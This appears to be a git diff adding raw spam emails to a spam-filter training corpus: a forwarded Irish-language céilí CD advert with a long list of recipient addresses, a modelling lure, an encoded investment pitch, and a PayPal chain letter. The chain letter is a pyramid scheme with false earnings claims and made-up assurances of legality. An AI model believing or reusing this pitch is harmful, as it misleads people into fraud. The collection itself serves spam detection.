+ , + "Monet" + , + "Moire Leyden" + , , , + , , + "Mick Power" + , =?iso-8859-1?Q?Miche=E1l_=D3_Broin?= , + "Micheal O Broin" + , + "=?iso-8859-1?B?Te1jaGXhbCDTIEJyZWFzbOFpbg==?=" + , , + "Michael Martin" + , + "Michael & Enta Butler" + , + "mfg teo" + , , + , + "Megan Biddles" + <8734ryhje@msn.com>, + "meas media" + , , + "Maureen Monica Griffin" + , , + , + "Mary O'Shaughnessy" + , + "Mary Ng Chua" + , + "Martin O'Brien" + , + "Martin Byrne" + , , + "Marrinan, Shonagh \(CAP, GCF\)" + , , + "Mark Eweka" + , + "Mark" + , + "Marie Gillman" + , + "maria hickey" + , , + , + "Margaret Kinder" + , + "Margaret Farrington" + , =?iso-8859-1?Q?Mait_=D3_Br=E1daigh?= + , =?iso-8859-1?Q?M=E1ir=EDn_Seoighe?= + , =?iso-8859-1?Q?Mair=E9ad_Mic_Sh=EDom=F3in?= + , =?iso-8859-1?Q?M=E1ire_U=CD_Fhaogh=E1in?= + , =?iso-8859-1?Q?M=E1ire_U=ED_Dhufaigh?= + , + "Maire Ni Mhainnin" + , =?iso-8859-1?Q?M=E1ire_N=ED_Ghiollabh=E1in?= + , =?iso-8859-1?Q?M=E1ire_N=ED_Flatharta?= + , + "Maire Hearty" + , + "Mail Delivery System" + , =?iso-8859-1?Q?MacTh=F3mais=2C_Uinseann?= + , , , + , + "Lynda Kathleen Martina Iola Costelloe" + , + "Louise Carroll" + , + "Lone Pedersen" + , , + "Loan Admin" + , + "Litigation Experts" + , , , + "Lin" + , , + , + "Life Insurance Quote" + , =?iso-8859-1?Q?Liam_Mac_R=E9amoinn?= + , + "Liam Mac Coil" + , + "Lee Ryan" + , + "Lean Doody" + , + "=?iso-8859-1?B?TOE=?=" + , , , + , + "kevin Hurley" + , + "Kerry Woods" + , + "Kellys Dunkirk" + , + "=?iso-8859-1?Q?Karen_N=ED_Bhreasl=E1in.?=" + , + "Karen Canty" + , , + "jyogBiff Armstrong" + , , + "Justin Mason" + , + "Justin Mason" + , + "Juliet Fahy \(Work\)" + , + "Juliet Fahy \(Home\)" + , + "Juliet & Paddy Fahy" + , + "Judy Schaefer" + , + "Judy Johnson" + , + "Judy" + , + "Jonell Baggett" + , , , + "John O'Connell" + , + "John Lynch" + , + "John Dilly" + , + "John Deely" + , + "Joe Weiss" + , + "Joe Humphries, Irish Times" + , + "Joe & Maureen Guilfoyle" + , + "Jessica" + , + "Jessica" + , + "jenny o halloran" + , + "Jenny" + , + "Jennifer Nic an Bhaird" + , + "jenks" + , + "Javier Carrera" + , , , + , , + , + "Jack O'Brien" + , , , + "Ivor Ferris" + , , + "Irish Haemophilia Society" + , + "Irish Haemophilia Society" + , + "Irina Malenko" + , + "Irina Malenko" + , , + "Info Staff" + , + "Info Center" + , , , + , , + , <89ok7yumhjn@msn.com>, + <12unidiploma@msn.com>, <0gbvll2jf@solvo.spb.su>, <09886w@ams.com.br>, + <0815@activate.de>, <01bb91b2.7e887960@genesys.pt>, <00luke@upline.se>, + <0024@simba.nu>, + "=?iso-8859-1?B?sAw=?=" + +Subject: =?iso-8859-1?Q?Fw:_CD_Nua_do_dhamhsa=ED_Ch=E9il=ED?= +Date: Tue, 21 May 2002 16:08:40 +0100 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +Disposition-Notification-To: "rathcairn" +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AF_01C200E1.C5BDFF40" +X-ExmhMDN: ignored + +This is a multi-part message in MIME format. + +------=_NextPart_000_00AF_01C200E1.C5BDFF40 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +----- Original Message -----=20 +From: rathcairn=20 +To: Automail Script ; Automail Script ; astraea@iol.ie ; =C5se Tobin ; = +araben16313168@hotmail.com ; aofarachain@tinet.ie ; = +aofarachain@eircom.net ; Anthony Gorman ; Ann-Mari Bergkvist ; Annemarie = +Meehan ; annemarie mcdonnell ; anne7172@arabia.com ; Anna Swelund ; Anna = +Ni Thuama ; ann faherty ; anewloan@mail.ru ; Andy Plunkett ; Andrew = +Delany ; Andrea Nic Oscair ; An Fhiontarlann ; amurtagh@tinet.ie ; = +Amanda N=ED Ghuidhir ; als2@hotmail.com ; alpha@fun.21cn.com ; Allen = +Moira ; Allen Carberry ; alex_doyle@ie.ibm.com ; Alan McGowan ; Alain = +Civel ; Aishling N=ED Raghallaigh ; =C1ine M=E1ire N=ED Choile=E1in ; = +AINE GUILFOYLE ; ailin.nichuir@ucd.ie ; Ail=EDn N=ED h=D3g=E1in ; Aileen = +O'Meara, RTE ; advisor@physiciansblend.net ; adshwe@bekkers.com.au ; = +adrian28@esatclear.ie ; Admin ; Ade Kallas ; adare productions ; = +abqewvbgf@iinet.net.au ; aa1133777@yahoo.com ; = +a_crothers@looksmart.com.au ; 89ok7yumhjn@msn.com ; 12unidiploma@msn.com = +; 0gbvll2jf@solvo.spb.su ; Daithi Mac Carthaigh ; d7596@go.ru ; = +d23463@portugalmail.com=20 +Cc: 09886w@ams.com.br ; 0815@activate.de ; 01bb91b2.7e887960@genesys.pt = +; 00luke@upline.se=20 +Sent: Tuesday, May 21, 2002 3:47 PM +Subject: CD Nua do dhamhsa=ED Ch=E9il=ED + + +A chara, + +Email gairid le cur in i=FAl duit faoi Dhl=FAthdhiosca Nua at=E1 ar = +f=E1il dona damhsa=ED Ch=E9il=ED is coitianta i measc daoine =F3ga. +=20 +T=E1 Ceol ar dona Damhsa=ED seo a leanas : + +Balla=ED Luimn=ED +Briseadh na Carraige +Baint an Fh=E9ir +Ionsa=ED na hInse +Port an Fh=F3mhair +Cor na S=EDog +R=E9ic=ED Mh=E1la +Tonna=ED Thora=ED +Droichead =C1tha Luain +Staic=EDn Eorna +Se=E1in=EDn +Cor Beirte +Shoe the Donkey +Waltzes=20 +agus eile + +Is f=E9idir an CD a cheannach tr=EDd www.damhsa.com +n=F3 086 8339082 + +Le meas, + + +Brian =D3 Broin + + +------=_NextPart_000_00AF_01C200E1.C5BDFF40 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
     
    +
    ----- Original Message -----=20 +
    From: rathcairn=20 +
    +
    To: Automail=20 +Script ; Automail=20 +Script ; astraea@iol.ie ; =C5se Tobin ; araben16313168@hotmail.com ; aofarachain@tinet.ie ; aofarachain@eircom.net ; Anthony=20 +Gorman ; Ann-Mari Bergkvist ; Annemarie Meehan ; annemarie mcdonnell ; anne7172@arabia.com ; Anna=20 +Swelund ; Anna Ni Thuama ; ann faherty=20 +; anewloan@mail.ru ; Andy=20 +Plunkett ; Andrew=20 +Delany ; Andrea Nic Oscair ; An=20 +Fhiontarlann ; amurtagh@tinet.ie ; Amanda N=ED=20 +Ghuidhir ; als2@hotmail.com ; alpha@fun.21cn.com=20 +; Allen Moira=20 +; Allen = +Carberry ; alex_doyle@ie.ibm.com ; Alan McGowan ; Alain=20 +Civel ; Aishling N=ED Raghallaigh ; =C1ine M=E1ire N=ED = +Choile=E1in ; AINE=20 +GUILFOYLE ; ailin.nichuir@ucd.ie ; Ail=EDn N=ED=20 +h=D3g=E1in ; Aileen=20 +O'Meara, RTE ; advisor@physiciansblend.net ; adshwe@bekkers.com.au ; adrian28@esatclear.ie ; Admin = +; Ade Kallas ; adare = +productions ; abqewvbgf@iinet.net.au ; aa1133777@yahoo.com ; a_crothers@looksmart.com.au ; 89ok7yumhjn@msn.com ; 12unidiploma@msn.com ; 0gbvll2jf@solvo.spb.su ; Daithi Mac Carthaigh ; d7596@go.ru ; d23463@portugalmail.com
    +
    Cc: 09886w@ams.com.br ; 0815@activate.de ; 01bb91b2.7e887960@genesys.pt ; = +00luke@upline.se=20 +
    +
    Sent: Tuesday, May 21, 2002 3:47 PM
    +
    Subject: CD Nua do dhamhsa=ED Ch=E9il=ED
    +

    +
    A chara,
    +
     
    +
    Email gairid le cur in = +i=FAl duit faoi=20 +Dhl=FAthdhiosca Nua at=E1 ar f=E1il dona damhsa=ED Ch=E9il=ED is = +coitianta i measc daoine=20 +=F3ga.
    +
     
    +
    T=E1 Ceol ar dona = +Damhsa=ED seo a leanas=20 +:
    +
     
    +
    Balla=ED = +Luimn=ED
    +
    Briseadh na = +Carraige
    +
    Baint an = +Fh=E9ir
    +
    Ionsa=ED na = +hInse
    +
    Port an = +Fh=F3mhair
    +
    Cor na = +S=EDog
    +
    R=E9ic=ED = +Mh=E1la
    +
    Tonna=ED = +Thora=ED
    +
    Droichead =C1tha = +Luain
    +
    Staic=EDn = +Eorna
    +
    Se=E1in=EDn
    +
    Cor Beirte
    +
    Shoe the = +Donkey
    +
    Waltzes 
    +
    agus eile
    +
     
    +
    Is f=E9idir an CD a = +cheannach tr=EDd www.damhsa.com
    +
    n=F3 086 = +8339082
    +
     
    +
    Le meas,
    +
     
    +
     
    +
    Brian =D3 = +Broin
    +
     
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I added some of my modeling pictures there so if you +think you can help my career please let me know. I could also use some +opinions on how to make my site look better. If you can't help and you know +someone that can, please forward them this e-mail. I need money and can sure +use the work. I just added my most recent set of pictures. + +If you don't want to look at my pics, I am 5'5 125, blonde hair, blue eyes +and I play volleyball. + +Link to my site: http://63.107.112.67/profiles/julie20 + +Thanks, +Julie + +Oh, if you do not know who I am and I sent this e-mail to you by mistake +please disregard it. If you would like to make sure to be removed from my +address book, please click here http://63.107.112.67/optout.html +and i have a program to make sure I do not send you more mail.Sorry I will +not ever try talking to you again! + + diff --git a/bayes/spamham/spam_2/00414.583be7dd0ab2492309a3fbd7960e90be b/bayes/spamham/spam_2/00414.583be7dd0ab2492309a3fbd7960e90be new file mode 100644 index 0000000..cc27c21 --- /dev/null +++ b/bayes/spamham/spam_2/00414.583be7dd0ab2492309a3fbd7960e90be @@ -0,0 +1,33 @@ +From mrchservice126432@aol.com Mon Jun 24 17:05:45 2002 +Return-Path: mrchservice@aol.com +Delivery-Date: Tue May 21 22:42:45 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4LLgie31165 for + ; Tue, 21 May 2002 22:42:44 +0100 +Received: from server01.hhcl.com.cn ([61.144.38.162]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4LLggD28108 for + ; Tue, 21 May 2002 22:42:42 +0100 +Message-Id: <200205212142.g4LLggD28108@mandark.labs.netnoteinc.com> +Received: from smtp0542.mail.yahoo.com (66-0-15-57.deltacom.net + [66.0.15.57]) by server01.hhcl.com.cn with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id LKL6C4B6; Wed, + 22 May 2002 05:08:07 +0800 +Reply-To: mrchservice@aol.com +From: mrchservice126432@aol.com +To: yyyy@netnoteinc.com +Cc: yyyy@netrevolution.com, yyyy@netset.com, yyyy@netunlimited.net, + jm@netvigator.com +Subject: want to accept credit cards? 126432211 +MIME-Version: 1.0 +Date: Tue, 21 May 2002 14:22:18 -0700 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + +Accept Credit Cards - Everyone Approved

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How would you like +to generate more income through a different avenue? What +if it took only an hour to set it up? Even if you are already in another +program, stay with it, but do yourself a favor and DO THIS ONE as well. +There +is NO LIMIT to the income you can generate from this business!! + +THE FACTS ARE SIMPLE;- IF YOU NEED TO MAKE A FEW +THOUSAND DOLLARS REALLY FAST, THEN THIS PROGRAM I'M GOING TO SHARE WITH +YOU +IS THE WAY TO DO IT! IT'S THE FASTEST, EASIEST PROGRAM YOU WILL EVER DO!!! + +Here's something which (I trust) will be of interest +to you! Please read all of this. This is not something +that I would normally look at, except that I read an +article in the Wall Street Journal on 6/16/2001 about +PayPal and, when I came across this concept I knew it +would work because, as a member of Pay Pal, I had +already experienced their efficiency and good standing. +You can complete this whole process in one hour and you +will never forget the day you decided to do so!!! Oh! +Did I say FAST? By fast I mean 'the speed of the +Internet-type fast.' Everything is done on the +Internet by E-mail. + +NEED PROOF? Here are just two testimonials from +individuals who decided to invest nothing more than a +little of their time. + +TESTIMONIALS FROM: + +Tony Stevens, Vandenberg AFB, CA: +Hey! I got your e-mail! YOU ROCK! I sent it to all of +our frat brothers.....and while I haven't seen my $20 +grand yet, I'm up to $8,285. Hook me up when you run +this program again........ + +Mary Gathers, Columbia, SC: +Hey cuz! This is Mary. I only have one thing to say to +you... OH MY GOD! I sent 20 e-mail's out like you said +and went on vacation. When I got back, my account was +up to over $12,000! I owe you! + +GETTING STARTED. + +If you're not already a user, the very first thing you +need to do is go to PayPal and sign up. It takes two minutes +and PayPal will deposit $5.00 in your account. That makes this +program FREE! + +Here's the link: + +https://www.paypal.com/refer/pal=larryspaypal%40yahoo.com + +BE SURE TO SIGN UP FOR A PREMIER (FREE) ACCOUNT! OR YOU'LL BE LIMITED TO +$100 +DOLLARS ONLY!!! YOU WILL MAKE MUCH MORE THAN THIS!!! + +Then...... E-mail $5.00 from your PayPal account ($5.00 free) +to the FIRST name on the list (No.1) along with a little note +like "Please add me to your mailing list." BE PREPARED TO GET +EXCITED.... YOU +WON'T BE DISAPPOINTED!!! Don't laugh! Try this while you wait for the +others +to start working. One hour of work to get started - no mailing lists. No +printing, copying or waiting and the concept is 100% legal (refer to US +Postal and +Lottery Laws, Title 18, Section 1302 and 1341, or Title 18, +Section 3005 in the US code, also in the code of Federal +Regulations, Volume 16, Sections 255 and 436, which state a +product or service must be exchanged for money received). + +Here's How It Works. Unlike many other programs, this +THREE LEVEL PROGRAM is more realistic and much, much +faster. Because it is so easy, the response rate is VERY +HIGH, VERY FAST-Internet E-mail FAST-and you will see +results in just two weeks or less! JUST IN TIME FOR NEXT +MONTHS BILLS! You need only mail out 20 copies (not 200 +or more as in other programs). Ideally, you should +send them to people who send their programs to you or to +personal contacts who are already working on the web, +because they know these programs work and they are already +believers in the system! Besides, this program is +MUCH, MUCH FASTER and has a HIGHER RESPONSE RATE! Even if you are already +in +another program, stay with it, but do +yourself a favor and DO THIS ONE as well. START RIGHT NOW! + +It's simple and will only cost $5.00 max. It will pay off long +before others even begin to receive letters! Just give ONE +person a $5.00 gift (REMEMBER THOUGH, this $5.00 is the $5.00 YOU GET +WHEN +YOU SIGN UP FOR YOUR new PayPal account). That's all! If you already have +a +PayPal account and do not receive the $5.00, feel free to donate a $5.00 +GIFT +to +the person in the No.1 spot and add your name on the list +at No.3 position having moved up the remaining two. Follow +the simple instructions and in two weeks you will have $20,000 +in your bank account! + +Because of the VIRTUALLY ZERO INVESTMENT, SPEED and HIGH PROFIT +POTENTIAL, +this program has a VERY HIGH RESPONSE RATE! All from just one $5.00 +transaction that you get from PayPal!!! + +Follow These Simple Instructions: + +E-mail the $5.00 from your Paypal account to the FIRST +name on the list (No.1) along with a note saying +"subscribe me to your mailing list". Only the first +person on the list gets your name and $5.00 gift. + +Edit the list, removing the FIRST (No.1) NAME FROM THE LIST. Move the +other +two names UP and ADD YOUR NAME. Don't try to add your name in the first +place +in order to earn money fast! +If you do that, you will ONLY reach people you send e- +mail to then your name will be immediately removed +from the No.1 place and you can't reach more people! But if +you add your name on the No.3 place, there will be tons of +people receiving e-mail's later and when your name is No.1!!! + +NOTE: Do not forget to replace the PayPal referring URL in +the body of the letter with your own PayPal referring URL. +Send out 20 copies (minimum) of this letter. + +ALSO NOTE: By sending this letter and the payment via E-MAIL, the +response +time is much faster... ELECTRONIC TRANSFER INTERNET FAST! + +Consider this! Millions of people surf the Internet +everyday, all day, all over the world! Here are the 3 people +to start with. Sign up, send $5.00 to the first person, move +the other two up to Nos 1 & 2 respectively and add your own +e-mail address at No.3. Be sure to use your email address that is +associated +with your PayPal account. + +************************************* + +1. csreddy3@rediffmail.com + +2. tomk4@prodigy.net + +3. larryspaypal@yahoo.com + +************************************* + +There are fifty thousand new people who get on the +Internet every month! An excellent source ofemail addresses +is the people who send you offers by email. +The source is UNLIMITED! It boggles my mind to +think of all the possibilities! Mail, or should I +say 'E-mail', your letter and payment TODAY! It's +so easy. One hour of your time, THAT'S IT! +To send your letter by e-mail, copy this ENTIRE PAGE +and paste it in the message of your E-mail. + +TO DO THIS: +1. Go in your toolbar to "edit" and "select all" +2. Go in your toolbar to "edit" and select "copy" +3. Start (compose) a new E-mail message (make sure +it's PLAIN TEXT so everyone can view it!) +4. Fill in your Address and Subject Box +5. Go to "edit" and "paste" (Then you can format it +anyway you want!) + + +Now you can edit the addresses with ease. Delete the +top name, adding your name and address to the bottom +of the list, then simply changing the numbers. Remember, +YOUR NAME goes on the BOTTOM and the other 2 names move up. But DO NOT +forget +to send $5.00 via PayPal (along +with your note) to the position #1 - TOP E-MAIL +address before deleting it! + +NOTE: Be sure to replace the PayPal referring URL in +this e-mail of the letter with your own PayPal +referring URL; + + +https://www.paypal.com/refer/pal=larryspaypal%40yahoo.com + + +THERE'S NOTHING MORE TO DO. +When your name reaches the first position in a few +days, it will be your turn to collect your MONEY! +The money will be sent to you by 2,000 to 4,000 people +like yourself, who are willing to invest one hour to +receive $20,000 in cash! That's all! There will be a +total of $20,000 in $5.00 bills in your mailbox (account) +in two weeks. $20,000 for one hour's work! This is +real money that you can spend on anything you wish! +Just deposit it to your own bank account or spend it +directly from your PayPal account!!! It's just that +easy!!! I think it's WORTH IT, don't you? + +GO AHEAD--- TRY IT!!! EVEN IF YOU MAKE JUST 3 OR 4 +THOUSAND, WOULDN'T THAT BE NICE? + +IF YOU TRY IT, IT WILL PAY! CAN YOU DO IT AGAIN? OF +COURSE YOU CAN--- + +This plan is structured for everyone to send only 20 +letters each. However, you are certainly not limited +to 20. Mail out as many as you want. Every 20 letters +you send has a return of $20,000 or more. If you can +E-MAIL forty, sixty, eighty, or whatever, GO FOR IT! +THE MORE YOU PUT INTO IT THE MORE YOU GET OUT OF IT! Each time you run +this +program, just follow steps 1 +through 3 and everyone on your gift list benefits! +Simple enough? You bet it is! Besides, there are no +mailing lists to buy (and wait for), and trips to the +printer or copier, and you can do it again and again +with your regular groups or gift givers, or start up +a new group. Be SURE and PAY the first person on the +list. This is proof that you paid to get put on the +list which is the service rendered to make all this +legal!!! Why not? It's working! Each time you receive +an MLM offer, respond with this letter! Your name will +climb to the number one position at dizzying rates. +Follow the simple instructions, and above all, PLEASE +PLAY FAIR. That's the key to this program's success. +Your name must run the full gamut on the list to produce +the end results. Sneaking your name higher up on the list +WILL NOT produce the results you think, and it only cheats +the other people who have worked hard and have earned the +right to be there. So please, play by the rules and the +$$$ will come to you! +$$$ E-MAIL YOUR LETTERS OUT TODAY! Together we will +prosper! $$$ You are probably skeptical of this, +especially with all the different programs out there +on the web, but if you don't try this you will +never know. That's the way I felt. I'm glad I did it! +I've been watching this type of program for years and +this is about as easy and fast as you can get it and +it can even be free to try now with Pay Pal, no stamps, +no envelopes, no copies to be made - just a little effort +and faith!!! This program really "Keeps It Short and Simple"! + +OH BY THE WAY....each time someone signs up with your link +under your name... you also make $5.00 from PayPal... +so they pay to open up the account but they also pay you when +someone signs up from being referred by you. AWESOME! +Let's all make some serious money +$$$$$$ + +CLICK HERE TO BEGIN: + +https://www.paypal.com/refer/pal=larryspaypal%40yahoo.com + +Play by the rules, this doesn't cost anything but your +time, and if everyone plays fair everyone WINS. + + +FOLLOWING ARE SOME NOTES ABOUT PayPal WHICH YOU MAY FIND HELPFUL:PayPal +lets +you pay anyone with an e-mail address and is the world's No.1 online +payment +service - it's accepted on over 3 million eBay T auctions and thousands +and +thousands of online shops. You can also use PayPal to +pay your friends - example; it's a convenient way to +split the phone bill with your roommate, send cash to your kids in +college,or +send cash to someone in another country. Better yet, you can also +earn $5 while you do it. Each time someone signs up for an account and +completes the Refer-a-Friend requirements, we'll give you a $5 BONUS! +When +you send money through Pay Pal, you can fund your payments with your +credit +card or checking account. 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+ODlsaVBMNTkyM3R1VUk3LTE3NWlOc0k0NTExa3FwcTEtMDIwa0t6Uzk3OTRY +Zm9obDcyDQo= + diff --git a/bayes/spamham/spam_2/00426.c743511223777504c01a35f90914b230 b/bayes/spamham/spam_2/00426.c743511223777504c01a35f90914b230 new file mode 100644 index 0000000..085d94f --- /dev/null +++ b/bayes/spamham/spam_2/00426.c743511223777504c01a35f90914b230 @@ -0,0 +1,156 @@ +From MegFromMars@aol.com Mon Jun 24 17:05:55 2002 +Return-Path: MegFromMars@aol.com +Delivery-Date: Thu May 23 02:13:13 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4N1DCe10384 for + ; Thu, 23 May 2002 02:13:13 +0100 +Received: from mailserveraq.infosec.org.cn ([203.207.226.79]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4N1D6D01337 for + ; Thu, 23 May 2002 02:13:11 +0100 +Date: Thu, 23 May 2002 02:13:11 +0100 +Message-Id: <200205230113.g4N1D6D01337@mandark.labs.netnoteinc.com> +Received: from aol.com (293.caracas.dialup.americanet.com.ve + [207.191.163.193]) by mailserveraq.infosec.org.cn with SMTP (Microsoft + Exchange Internet Mail Service Version 5.5.1960.3) id LNGGY4LA; + Thu, 23 May 2002 06:01:54 +0800 +From: "Patrice" +To: "jnosrdun@starband.net" +Subject: 6.25 30 yr fixed. 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If you'd rather not receive these reviews, +reply to this note with "Remove" in the subject line. + +======================================================== + diff --git a/bayes/spamham/spam_2/00430.d3915a3e7a9cbd8f9a7e6221eb40253d b/bayes/spamham/spam_2/00430.d3915a3e7a9cbd8f9a7e6221eb40253d new file mode 100644 index 0000000..3c06bc6 --- /dev/null +++ b/bayes/spamham/spam_2/00430.d3915a3e7a9cbd8f9a7e6221eb40253d @@ -0,0 +1,76 @@ +From Kathrin1127q33@newmail.ru Mon Jun 24 17:06:06 2002 +Return-Path: Kathrin1127q33@newmail.ru +Delivery-Date: Thu May 23 16:07:44 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4NF7he11408 for + ; Thu, 23 May 2002 16:07:44 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4NF7Y704314 for + ; Thu, 23 May 2002 16:07:42 +0100 +Received: from newmail.ru ([206.107.197.2]) by webnote.net (8.9.3/8.9.3) + with SMTP id QAA27441 for ; Thu, 23 May 2002 16:07:33 + +0100 +From: Kathrin1127q33@newmail.ru +Received: from sparc.zubilam.net ([151.48.185.235]) by pet.vosni.net with + asmtp; Thu, 23 May 2002 02:22:28 +1200 +Reply-To: +Message-Id: <033c07d72e2e$6334a3e4$5cd76ce6@bjrwba> +To: +Subject: Iraq is next +Date: Thu, 23 May 2002 11:02:43 +0300 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: The Bat! (v1.52f) Business +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E4_86E61E0A.B5488E11" + +------=_NextPart_000_00E4_86E61E0A.B5488E11 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAyMilodHRwOi8vaW50ZXJuZXQuZS1t +YWlsIC0tPg0KPGh0bWw+DQo8Ym9keT4NCjxibG9ja3F1b3RlPg0KICA8cCBh +bGlnbj0ibGVmdCI+PGZvbnQgc2l6ZT0iNiI+PGZvbnQgY29sb3I9IiMwMDAw +RkYiPlN0b2NrIE1hcmtldCBCbHVlcyBnb3QgeW91IGRvd24/PC9mb250PiZu +YnNwOzwvZm9udD48YnI+DQogIDxicj4NCiAgPGZvbnQgc2l6ZT0iNSIgY29s +b3I9IiNGRjAwMDAiPkxvb2tpbmcgZm9yIGEgdmlhYmxlIGFuZCBsZWdpdGlt +YXRlIGFsdGVybmF0aXZlPyZuYnNwOzwvZm9udD48Zm9udCBzaXplPSI0Ij48 +YnI+DQogIDwvZm9udD48YnI+DQogIDxmb250IHNpemU9IjQiPldoYXQgZG8g +eW91IHRoaW5rIHdpbGwgaGFwcGVuIHRvIHVubGVhZGVkIGdhc29saW5lIHBy +aWNlcyBiZXR3ZWVuIG5vdyBhbmQgdGhpcyBzdW1tZXI/Jm5ic3A7PGJyPg0K +ICA8YnI+DQogIERpZCB5b3Uga25vdyB0aGF0IHRoZXJlIGhhc24ndCBiZWVu +IGEgbmV3IHJlZmluZXJ5IGJ1aWx0IGluIHRoZSBVbml0ZWQgU3RhdGVzIGlu +IG92ZXIgMjAgeWVhcnM/Jm5ic3A7PGJyPg0KICA8YnI+DQogIERvIHlvdSBr +bm93IHRoYXQgeW91IGNhbiB0cmFkZSBvcHRpb25zIG9uIHVubGVhZGVkIGdh +c29saW5lIGNvbnRyYWN0cyBvbiB0aGUgTmV3IFlvcmsgTWVyY2FudGlsZSBF +eGNoYW5nZSwNCiAgYSBnb3Zlcm5tZW50IHJlZ3VsYXRlZCBleGNoYW5nZT8g +IFdlIGFyZSB0aGUgcHJvZmVzc2lvbmFscyB3aG8gc3BlY2lhbGl6ZSBpbiB0 +aGVzZSBtYXJrZXRzIGFuZCB0cmFkZSB0aGVtIG9uIGEgcmVndWxhciBiYXNp +cy4mbmJzcDs8YnI+DQogIDxicj4NCiAgUmVjZWl2ZSB5b3VyIGZyZWUgcmVw +b3J0LCBpbmNsdWRpbmcgdGhlIGJvb2tsZXQgIjI2IFBsYWluIExhbmd1YWdl +IEFuc3dlcnMgb24gT3B0aW9ucyBUcmFkaW5nIi4mbmJzcDs8YnI+DQogIDxi +cj4NCiAgR2V0IHRoZSBjaGFydHMsIGdyYXBocyBhbmQgdGhlIHNwZWNpYWwg +cmVwb3J0IG9uIFVubGVhZGVkIEdhc29saW5lIC0gU3VtbWVyIDIwMDIuJm5i +c3A7PGJyPg0KICBGdXR1cmVzIGFuZCBvcHRpb25zIHRyYWRpbmcgaW52b2x2 +ZSBzdWJzdGFudGlhbCByaXNrIG9mIGxvc3MgYW5kIGlzIG5vdCBzdWl0YWJs +ZSBmb3IgZXZlcnlvbmUuJm5ic3A7PGJyPg0KICA8YnI+DQogIExlYXJuIGhv +dyBvcHRpb25zIHRyYWRpbmcgY2FuIHBvc2l0aW9uIHlvdSBpbiB0aGlzIGFt +YXppbmcgbWFya2V0LiZuYnNwOzxicj4NCiAgPGJyPg0KICA8YSBocmVmPSJo +dHRwOi8vd3d3LmludmVzdG1lbnQ0dS5jb20vU3BlY2lhbFJlcG9ydC8iPkNs +aWNrIGhlcmU8L2E+IGFuZCB5b3Ugd2lsbCByZWNlaXZlIHRoZSBVbmxlYWRl +ZCBHYXNvbGluZSBzcGVjaWFsIHJlcG9ydC4mbmJzcDs8YnI+DQogICQ1LDAw +MCB3aWxsIHB1cmNoYXNlIGZpdmUgVW5sZWFkZWQgR2Fzb2xpbmUgb3B0aW9u +IGNvbnRyYWN0cy4mbmJzcDs8YnI+DQogIE1pbmltdW0gJDUsMDAwIGludmVz +dG1lbnQuJm5ic3A7PGJyPg0KICBUYWtlIGFkdmFudGFnZSBvZiB3aGF0IHdl +IGJlbGlldmUgaXMgYW4gb3V0c3RhbmRpbmcgaW52ZXN0bWVudCBvcHBvcnR1 +bml0eSEmbmJzcDs8YnI+DQogIDxicj4NCiAgPGEgaHJlZj0iaHR0cDovL3d3 +dy5pbnZlc3RtZW50NHUuY29tL1NwZWNpYWxSZXBvcnQvIj5DbGljayBIZXJl +IE5PVyE8L2E+Jm5ic3A7PGJyPg0KICA8YnI+DQogIDwvZm9udD48Zm9udCBz +aXplPSIzIj48YSBocmVmPSJodHRwOi8vd3d3LmludmVzdG1lbnQ0dS5jb20v +dGFrZW1lb2ZmLyI+Q2xpY2sgSGVyZSBUbyBiZSB0YWtlbiBvZmYgdGhlIGxp +c3QhDQogIDwvYT48L2ZvbnQ+PC9wPg0KPC9ibG9ja3F1b3RlPg0KDQo8L2Jv +ZHk+DQoNCjwvaHRtbD4NCg0KDQo3NzUxUXNZZjYtNTgyV3JFUDU3ODZWaklG +NS0zNzJvUmZNMGwzMw== diff --git a/bayes/spamham/spam_2/00431.c6a126091c0bcbc44e58e238ca4d02c6 b/bayes/spamham/spam_2/00431.c6a126091c0bcbc44e58e238ca4d02c6 new file mode 100644 index 0000000..2055dcc --- /dev/null +++ b/bayes/spamham/spam_2/00431.c6a126091c0bcbc44e58e238ca4d02c6 @@ -0,0 +1,41 @@ +From super4_31r@pac24.westernbarge.com Mon Jun 24 17:06:06 2002 +Return-Path: super4_31r@pac24.westernbarge.com +Delivery-Date: Thu May 23 16:59:20 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4NFxJe14043 for + ; Thu, 23 May 2002 16:59:20 +0100 +Received: from pac24.westernbarge.com ([67.96.136.24]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4NFxH704509 for + ; Thu, 23 May 2002 16:59:18 +0100 +Date: Thu, 23 May 2002 09:03:45 -0400 +Message-Id: <200205231303.g4ND3jf16620@pac24.westernbarge.com> +From: super4_31r@pac24.westernbarge.com +To: ltviswgqpu@pac24.westernbarge.com +Reply-To: super4_31r@pac24.westernbarge.com +Subject: ADV: Life Insurance - Pennies a day! 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     + + + diff --git a/bayes/spamham/spam_2/00433.e23d484b63694062d857aa6fc4fd6276 b/bayes/spamham/spam_2/00433.e23d484b63694062d857aa6fc4fd6276 new file mode 100644 index 0000000..bad36c7 --- /dev/null +++ b/bayes/spamham/spam_2/00433.e23d484b63694062d857aa6fc4fd6276 @@ -0,0 